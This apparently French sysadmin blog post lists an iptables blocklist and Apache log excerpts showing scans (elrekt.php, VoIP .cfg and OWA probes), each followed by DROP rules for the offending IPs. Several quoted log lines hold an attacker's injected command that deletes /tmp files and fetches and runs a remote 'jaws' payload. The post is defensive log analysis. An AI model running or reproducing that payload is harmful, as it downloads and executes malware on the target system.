Voici mon iptable courante :

*filter
:INPUT ACCEPT [1617998378:2870557962726]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [342938945:308572427452]
-A INPUT -s 112.126.90.41/32 -j DROP 
-A INPUT -s 116.147.2.110/32 -j DROP 
-A INPUT -s 122.14.209.13/32 -j DROP 
-A INPUT -s 158.69.13.199/32 -j DROP 
-A INPUT -s 193.112.88.67/32 -j DROP 
-A INPUT -s 210.21.218.26/32 -j DROP
-A INPUT -s 223.75.249.2/32 -j DROP 
-A INPUT -s 27.50.160.35/32 -j DROP 
-A INPUT -s 49.233.63.234/32 -j DROP 
-A INPUT -s 91.242.37.16/32 -j DROP 
-A INPUT -s 103.87.167.253/32 -j DROP 
-A INPUT -s 113.160.229.252/32 -j DROP 
-A INPUT -s 123.201.235.83/32 -j DROP 
-A INPUT -s 156.221.147.68/32 -j DROP 
-A INPUT -s 171.236.213.49/32 -j DROP 
-A INPUT -s 176.240.226.165/32 -j DROP 
-A INPUT -s 202.90.133.210/32 -j DROP 
-A INPUT -s 216.104.201.88/32 -j DROP 
-A INPUT -s 175.172.174.191/32 -j DROP 
-A INPUT -s 123.132.65.176/32 -j DROP
-A INPUT -s 103.145.13.43/32 -j DROP 
-A INPUT -s 175.21.153.128/32 -j DROP 
-A INPUT -s 178.63.34.189/32 -j DROP 
-A INPUT -s 74.120.14.36/32 -j DROP 
-A INPUT -s 34.240.212.8/32 -j DROP 
-A INPUT -s 167.248.133.52/32 -j DROP 
-A INPUT -s 162.142.125.52/32 -j DROP 
-A INPUT -s 197.53.220.102/32 -j DROP 
-A INPUT -s 134.209.87.169/32 -j DROP 
-A INPUT -s 66.151.211.226/32 -j DROP 
-A INPUT -s 61.40.0.0/16 -j DROP
-A INPUT -s 66.210.251.136/32 -j DROP 
-A INPUT -s 202.215.160.75/32 -j DROP 
-A INPUT -s 81.68.159.121/32 -j DROP 
-A INPUT -s 178.129.246.3/32 -j DROP 
-A INPUT -s 46.209.56.107/32 -j DROP 
-A INPUT -s 156.197.215.223/32 -j DROP 
-A INPUT -s 156.216.50.199/32 -j DROP 
-A INPUT -s 192.241.224.104/32 -j DROP 
-A INPUT -s 192.241.206.242/32 -j DROP 
-A INPUT -s 216.245.193.22/32 -j DROP 
COMMIT

Cela fait suite aux articles :

# zgrep "elrekt.php" /var/log/apache2/error* | awk '{print $10}' | sed 's/:/ /g' | awk '{print $1}' | sort | uniq -c
1 117.78.23.55
1 119.28.222.106
1 193.112.88.67
1 193.112.94.225
1 194.59.171.236
1 203.155.215.85
1 212.64.69.194
1 27.50.160.35
1 36.248.211.71
1 36.27.208.157
1 81.68.106.157

Voici les logs :

# grep ".cfg" /var/log/apache2/access.humhub.log* | sed 's/:/ /g' | awk '{print $2 " " $11}'
216.245.193.22 /provision/prov/000000000000.cfg
216.245.193.22 /polycom/000000000000.cfg
216.245.193.22 /dms/000000000000.cfg
216.245.193.22 /cfg/device.cfg
216.245.193.22 /PP/0000000000000.cfg
216.245.193.22 /p/v2/config/polycom/0000000000000.cfg
216.245.193.22 /polycom/config/0000000000000.cfg
216.245.193.22 /polycom/000000000000.cfg
216.245.193.22 /config/Yealink/y000000000053.cfg
216.245.193.22 /config/Yealink/y000000000044.cfg
216.245.193.22 /ap/yealink/y000000000000.cfg
216.245.193.22 /app/yealink/y000000000000.cfg

# iptables -A INPUT -s 216.245.193.22 -j DROP 
# iptables-save > /etc/iptables/rules.v4

J’ai donc bloqué l’IP : 216.245.193.22 .

Voici les logs :

# grep "/owa/auth/logon.aspx" /var/log/apache2/access.humhub.log*
192.241.224.104 - - [21/Jan/2021:03:47:56 +0100] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 404 3436 "-" "Mozilla/5.0 zgrab/0.x"
192.241.206.242 - - [20/Jan/2021:03:14:29 +0100] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 404 3534 "-" "Mozilla/5.0 zgrab/0.x"

Je vais donc bloquer les IP :

# iptables -A INPUT -s 192.241.224.104 -j DROP
# iptables -A INPUT -s 192.241.206.242 -j DROP
# iptables-save > /etc/iptables/rules.v4

Voici les logs :

# grep "GET /shell" /var/log/apache2/access.humhub.log
156.197.215.223 - - [21/Jan/2021:07:58:51 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+ debes.venus.lol/jaws;sh+/tmp/jaws" 400 0 "-" "-"
178.129.246.3 - - [20/Jan/2021:03:00:09 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+ debes.venus.lol/jaws;sh+/tmp/jaws" 400 0 "-" "-"
46.209.56.107 - - [20/Jan/2021:16:43:59 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+ debes.venus.lol/jaws;sh+/tmp/jaws" 400 0 "-" "-"
156.216.50.199 - - [20/Jan/2021:18:35:35 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+ debes.venus.lol/jaws;sh+/tmp/jaws" 400 0 "-" "-"

Je vais donc bloquer les deux IP 178.129.246.3 & 46.209.56.107.

# iptables -A INPUT -s 178.129.246.3 -j DROP
# iptables -A INPUT -s 156.197.215.223 -j DROP
# iptables -A INPUT -s 46.209.56.107 -j DROP
# iptables -A INPUT -s 156.216.50.199 -j DROP
# iptables-save > /etc/iptables/rules.v4